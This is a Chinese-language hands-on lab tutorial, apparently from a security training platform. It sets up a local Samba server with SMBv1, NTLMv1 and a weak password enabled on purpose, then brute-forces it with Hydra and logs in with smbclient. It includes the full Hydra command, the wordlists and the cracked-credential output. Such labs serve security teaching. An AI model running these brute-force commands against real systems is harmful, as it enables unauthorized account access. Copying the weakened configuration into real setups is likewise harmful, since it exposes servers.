使用 Hydra 攻击 SMB 服务

HydraBeginner
立即练习

介绍

在这个实验中,你将学习如何使用 Hydra,一个强大的密码破解工具,攻击 SMB (服务器消息块) 服务。这个实验重点在于演示如何识别和利用 SMB 服务器上的弱凭据。

你将首先使用 Samba 设置一个本地 SMB 服务器,包括安装必要的软件包、配置 smb.conf 文件以创建共享目录,以及设置适当的权限。然后,你将准备用户和密码列表,用于 Hydra 攻击。最后,你将运行 Hydra SMB 攻击并检查结果,查看是否有任何凭据被成功破解。

这是一个实验(Guided Lab),提供逐步指导来帮助你学习和实践。请仔细按照说明完成每个步骤,获得实际操作经验。根据历史数据,这是一个 中级 级别的实验,完成率为 73%。获得了学习者 100% 的好评率。

设置本地 SMB 服务器

本步骤将使用 Samba 设置一个本地 SMB (服务器消息块) 服务器。SMB 是一种网络文件共享协议,允许计算机上的应用程序访问远程服务器上的文件和资源。Samba 是 SMB 网络协议的免费软件重新实现。这将在后续步骤中为你的 Hydra SMB 攻击提供目标。

首先,让我们安装 Samba。在 ~/project 目录中打开你的终端。

sudo apt update
sudo apt install samba -y

这条命令会更新软件包列表,然后安装 Samba 软件包。-y 标志会在安装过程中自动回答“是”。

接下来,你需要配置 Samba。你将首先备份原始配置文件。

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

现在,让我们创建一个新的、干净的配置文件,通过直接覆盖现有文件来实现。这种方法确保不会与默认的 Ubuntu Samba 设置冲突。

请复制并运行以下命令到终端。请确保正确复制命令。

sudo tee /etc/samba/smb.conf > /dev/null << 'EOF'
[global]
   workgroup = WORKGROUP
   server string = Samba Server
   netbios name = fileserver
   security = user
   map to guest = never
   ## 禁用匿名访问
   restrict anonymous = 2
   ## 明确启用 SMBv1 和 NTLMv1 以便 Hydra 使用
   server min protocol = NT1
   client min protocol = NT1
   ntlm auth = ntlmv1-permitted
   ## 绑定到本地主机
   interfaces = 127.0.0.1
   bind interfaces only = yes
   ## 日志记录
   log file = /var/log/samba/log.%m
   max log size = 1000
   logging = file
   debug level = 3

[share]
   path = /home/labex/project/share
   browsable = yes
   writable = yes
   guest ok = no
   read only = no
   valid users = labex
EOF

这条命令将完全替换 /etc/samba/smb.conf 的内容为我们干净的配置。

重要的配置点:

  • map to guest = never - 防止匿名访客访问
  • restrict anonymous = 2 - 完全禁用匿名访问
  • server min protocol = NT1client min protocol = NT1 - 启用 SMBv1 以便 Hydra 兼容
  • ntlm auth = ntlmv1-permitted - 允许 NTLMv1 身份验证进行测试
  • interfaces = 127.0.0.1bind interfaces only = yes - 只允许访问本地主机
  • guest ok = no - 禁用对共享的访客访问
  • valid users = labex - 只允许特定用户访问

我们为什么覆盖整个文件:

  • 避免与 Ubuntu 默认 Samba 设置冲突
  • 确保干净、精简的配置,优化用于 Hydra 测试
  • 消除潜在的重复或冲突指令问题
  • 为所有用户提供一致的起点

此配置确保 Hydra 能够正确检测身份验证尝试,而不会受到匿名访问的干扰。

现在,让我们创建共享目录。

mkdir ~/project/share
sudo chmod 777 ~/project/share

这将在你的 ~/project 目录中创建一个名为 share 的目录,并将它的权限设置为 777,这意味着每个人都有读取、写入和执行权限。注意: 在真实场景中,你应该使用更严格的权限。为了本实验环境的简单性,我们使用 777。

接下来,你需要添加一个 Samba 用户。这个用户将用于验证到 SMB 服务器。你将使用系统中已存在的 labex 用户。首先,为 labex 用户设置 Samba 密码。

sudo smbpasswd -a labex

系统将提示你输入 labex 用户的新密码。输入 password 并确认。

New SMB password:
Retype new SMB password:
Added user labex.

最后,重启 Samba 服务以应用更改。

sudo /etc/init.d/smbd restart
sudo /etc/init.d/nmbd restart

你应该看到类似这样的输出:

 * Stopping SMB/CIFS daemon smbd                                        [ OK ]
 * Starting SMB/CIFS daemon smbd                                        [ OK ]
 * Stopping NetBIOS name server nmbd                                    [ OK ]
 * Starting NetBIOS name server nmbd                                    [ OK ]

这条命令将检查你的 Samba 配置是否存在语法错误,并显示活动配置。你应该看到确认你的设置没有错误的输出。

现在,你的本地 SMB 服务器已设置了适当的安全设置。你已创建了一个名为 share 的共享目录,并添加了 labex 用户及其 Samba 密码。该配置已针对 Hydra 攻击进行了优化。

准备用户和密码列表

本步骤中,你将创建 Hydra 用于执行 SMB 攻击的用户和密码列表。这些列表将包含 Hydra 将尝试用于验证 SMB 服务器的潜在用户名和密码。

首先,让我们创建用户列表。你将使用 nano~/project 目录中创建一个名为 users.txt 的文件。

nano ~/project/users.txt

在此文件中,添加以下用户名,每行一个:

labex
admin
guest
user
test
root

按下 Ctrl+X,然后 Y,再按下 Enter 保存文件。

现在,让我们创建密码列表。你将使用 nano~/project 目录中创建一个名为 passwords.txt 的文件。

nano ~/project/passwords.txt

在此文件中,添加以下密码,每行一个:

password
123456
labex
admin
guest

按下 Ctrl+X,然后 Y,再按下 Enter 保存文件。

这些只是用于演示的简单列表。在真实场景中,你将使用更大、更复杂的列表。

现在你已创建了两个文件:users.txt 包含用户名列表,passwords.txt 包含密码列表。Hydra 将在下一步中使用这些列表尝试破解 SMB 服务器密码。

运行 Hydra SMB 攻击

本步骤中,你将使用 Hydra 对你在第一步中设置的 SMB 服务器进行暴力破解攻击。Hydra 是一款并行登录破解工具,支持多种协议进行攻击。

~/project 目录中打开你的终端。

现在,让我们运行 Hydra 命令来攻击 SMB 服务。

hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 smb

让我们分解这个命令:

  • hydra: 这是运行 Hydra 工具的命令。
  • -L ~/project/users.txt: 指定用户列表文件的路径。
  • -P ~/project/passwords.txt: 指定密码列表文件的路径。
  • 127.0.0.1: 目标 SMB 服务器的 IP 地址(在本例中为本地主机)。
  • smb: 指定要攻击的服务(SMB)。

Hydra 将开始尝试使用你提供的列表中的用户名和密码登录 SMB 服务器。它将尝试每种用户名和密码的组合,直到找到有效的组合或耗尽所有可能性。

如果第一步中配置的 SMB 服务器正确,你应该看到成功的凭据发现:

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的中使用(这并非强制性,这些***无论如何都会忽略法律和道德)。

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 10:52:16
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 30 login tries (l:6/p:5), ~30 tries per task
[DATA] attacking smb://127.0.0.1:445/
[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 10:52:17

理解输出:

  • [445][smb] host: 127.0.0.1 login: labex password: password 显示 Hydra 成功找到了有效的凭据。
  • 用户名: labex
  • 密码: password
  • 摘要显示“1 个有效密码找到”,确认攻击成功。

重要提示: 此攻击正在对本地 SMB 服务器进行教育目的的测试。我们专门配置了服务器以演示 Hydra 的工作方式。在生产环境中,出于安全原因,应禁用 SMBv1。对远程系统进行未经授权的攻击是非法的和不道德的。

该命令可能需要一些时间才能完成,具体取决于你的用户和密码列表的大小。观察输出以查看 Hydra 何时成功破解密码。

检查 SMB 攻击结果

本步骤中,你将分析 Hydra SMB 攻击的输出,以确认凭据发现成功,并通过连接 SMB 共享来验证破解的凭据。

在上一步骤运行 Hydra 命令(以及可能应用了故障排除步骤)后,你应该看到类似于此的成功输出:

[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found

此行指示 Hydra 成功破解了 SMB 凭据:

  • 用户名: labex
  • 密码: password

验证破解的凭据:
为了确认破解的凭据有效,你可以使用 smbclient 命令连接到 SMB 共享。首先,如果尚未安装,请安装它:

sudo apt update
sudo apt install smbclient -y

你应该看到类似于此的输出:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  libsmbclient
The following NEW packages will be installed:
  libsmbclient smbclient
0 upgraded, 2 newly installed, 0 to remove and 252 not upgraded.
...
Setting up smbclient (2:4.15.13+dfsg-0ubuntu1.6) ...

现在,使用破解的凭据连接到 SMB 共享:

smbclient //127.0.0.1/share -U labex%password

让我们分解这个命令:

  • smbclient: 用于访问服务器上的 SMB/CIFS 资源的命令行实用程序。
  • //127.0.0.1/share: SMB 共享的路径。127.0.0.1 是本地 SMB 服务器的 IP 地址,share 是共享目录的名称。
  • -U labex%password: 指定 Hydra 破解的用户名 (labex) 和密码 (password)。用户名和密码之间用 % 符号分隔。

如果连接成功,你将看到一个 smb:\> 提示符,表示你已成功使用破解的凭据连接到 SMB 共享:

Try "help" to get a list of possible commands.
smb: \>

然后,你可以键入 exit 并按下 Enter 离开 smbclient 提示符:

exit

此成功连接确认:

  1. Hydra 成功破解了 SMB 凭据
  2. 用户名和密码组合有效
  3. 攻击对配置的 SMB 服务器有效
  4. 破解的凭据提供了对共享目录的访问权限

安全隐患:
此成功攻击演示了以下重要性:

  • 使用强且复杂的密码
  • 实施帐户锁定策略
  • 监控暴力破解攻击
  • 禁用不必要的服务和协议
  • 定期安全审计和渗透测试

总结

在本实验中,你学习了如何使用 Hydra(一个强大的密码破解工具)攻击 SMB 服务。你首先使用 Samba 设置了一个本地 SMB 服务器,这包括安装必要的软件包、配置 smb.conf 文件以创建支持 SMBv1 和 NTLMv1 的共享目录(以便 Hydra 兼容),以及设置适当的权限。

然后,你准备了用户和密码列表(users.txt 包含 6 个用户名,passwords.txt 包含 5 个密码),用于 Hydra 攻击。使用第一步中正确配置的 SMB 服务器,Hydra SMB 攻击成功破解了 SMB 凭据,找到了有效的用户名 labex 和密码 password 的组合。

你通过使用 smbclient 连接到已发现凭据的 SMB 共享来确认攻击的成功,这证明了破解的凭据确实提供了对共享目录的合法访问。

本实验有效地演示了:

  1. Hydra 的功能: Hydra 如何系统地测试用户名和密码组合以对抗 SMB 服务
  2. 正确配置: 正确配置目标服务对于安全测试的重要性
  3. 暴力破解攻击方法: 准备词表并执行自动化攻击的过程
  4. 攻击验证: 确认凭据发现成功的必要性
  5. 安全配置: 如何正确配置 SMB 以防止匿名访问,同时允许合法的身份验证测试

关键安全教训:

  • 弱密码容易受到暴力破解攻击
  • 正确的服务配置对于安全性和测试至关重要
  • 禁用匿名访问可确保清晰的身份验证结果
  • 像 Hydra 这样的自动化工具可以快速测试许多凭据组合
  • 定期安全测试有助于在攻击者之前识别漏洞

重要提示: 此攻击是在专门用于教育目的的本地 SMB 服务器上进行的。在生产环境中,应禁用 SMBv1,应强制执行强密码策略,并应实施监控以检测暴力破解攻击。对远程系统进行未经授权的攻击是非法的和不道德的。